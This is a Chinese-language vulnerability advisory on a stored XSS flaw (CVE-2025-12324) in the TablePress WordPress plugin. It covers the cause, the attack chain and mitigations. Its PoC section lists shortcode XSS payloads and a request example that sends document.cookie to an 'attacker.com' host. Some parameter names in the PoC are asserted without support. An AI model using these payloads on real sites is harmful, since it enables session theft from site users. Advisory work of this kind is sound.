IPBUF安全漏洞报告
English
CVE-2025-12324 CVSS 6.4 中危

CVE-2025-12324: TablePress WordPress插件存储型XSS漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-12324
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TablePress – Tables in WordPress made easy

相关标签

CVE-2025-12324TablePressWordPress插件存储型XSSStored Cross-Site Scripting短代码注入Shortcode InjectionCWE-79WordPress安全Web应用安全

漏洞概述

CVE-2025-12324是WordPress平台下TablePress插件的一个存储型跨站脚本(Stored XSS)漏洞。该插件是WordPress生态中最流行的表格管理插件之一,允许用户通过简码(shortcode)在页面和文章中嵌入数据表格。漏洞源于插件对用户提供的简码属性(shortcode attributes)缺乏充分的输入清理和输出转义处理。在3.2.3及之前的所有版本中,攻击者只需拥有贡献者(contributor)级别及以上的WordPress账户,即可利用table简码属性注入任意JavaScript脚本代码。这些恶意代码会被永久存储在数据库中,当其他用户访问包含被注入简码的页面时,恶意脚本将自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全威胁。由于该漏洞属于存储型XSS,其危害性高于反射型和DOM型XSS,攻击者无需诱导受害者点击特定链接即可实施攻击。

技术细节

漏洞根源在于TablePress插件的frontend控制器(controller-frontend.php第605行附近)对table简码属性的处理逻辑存在安全缺陷。具体而言,插件在解析和渲染table简码时,直接将用户可控的属性参数输出到HTML页面,而未进行适当的输入验证和输出编码。例如,攻击者可以通过以下简码属性注入恶意代码:[table id=1 custom_css=任意内容]或利用其他简码参数注入<script>标签或事件处理器(如onerror、onload等)。由于WordPress的简码机制会在页面加载时自动解析并执行这些简码,被注入的恶意脚本会被永久存储在文章/页面的post_content字段中。当管理员或其他用户访问包含恶意简码的页面时,浏览器会将其作为可信内容执行,从而绕过同源策略限制。攻击者可以利用此漏洞窃取管理员Cookie、修改页面内容、重定向用户或执行其他客户端攻击。修复版本3.2.4通过在输出时对所有简码属性进行HTML实体编码来解决此问题。

攻击链分析

STEP 1
信息收集
攻击者确认目标网站使用WordPress且安装了TablePress插件,版本小于等于3.2.3
STEP 2
权限获取
攻击者获取WordPress账户(至少需要Contributor角色权限)
STEP 3
恶意载荷注入
攻击者在文章或页面中插入包含XSS payload的TablePress简码,如[table id=1 custom_css="<script>alert(1)</script>"]
STEP 4
数据持久化
恶意简码随页面内容被永久存储到WordPress数据库的wp_posts表post_content字段中
STEP 5
触发执行
当管理员或其他用户访问包含恶意简码的页面时,浏览器解析页面内容并执行注入的JavaScript代码
STEP 6
攻击完成
攻击者通过XSS成功窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
## CVE-2025-12324 PoC - TablePress Stored XSS ## Affected Version: <= 3.2.3 ## Target: WordPress with TablePress plugin installed ## WordPress Shortcode Injection PoC ### Method 1: Inject via table shortcode custom_css parameter [table id=1 custom_css="</style><script>alert('XSS by TablePress CVE-2025-12324');</script>"] ### Method 2: Inject via style parameter [table id=1 style="xss:expression(alert('XSS'))"] ### Method 3: Inject via table HTML attributes [table id=1 custom_html="<img src=x onerror=alert(document.cookie)>"] ### Exploit Scenario: 1. Attacker with Contributor role or higher logs into WordPress 2. Attacker creates/edits a post or page 3. Attacker inserts malicious TablePress shortcode with XSS payload 4. When any user views the page, the XSS payload executes in their browser 5. Attacker can steal session cookies, perform actions as the victim ### HTTP Request Example (if API access available): POST /wp-json/wp/v2/pages/{id} HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer {token} { "content": "<p>Check this table:</p>[table id=1 custom_css=</style><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>]" } ### Mitigation: Upgrade to TablePress version 3.2.4 or later

影响范围

TablePress <= 3.2.3 (所有版本)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 审查所有使用TablePress简码的文章和页面,移除可疑内容;2) 限制WordPress用户的角色权限,确保不受信任的用户无法使用Contributor或更高角色;3) 使用WordPress安全插件(如Wordfence)监控异常简码使用行为;4) 实施严格的Content Security Policy (CSP)来限制内联脚本执行;5) 对管理员账户启用双因素认证以降低账户被窃取的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表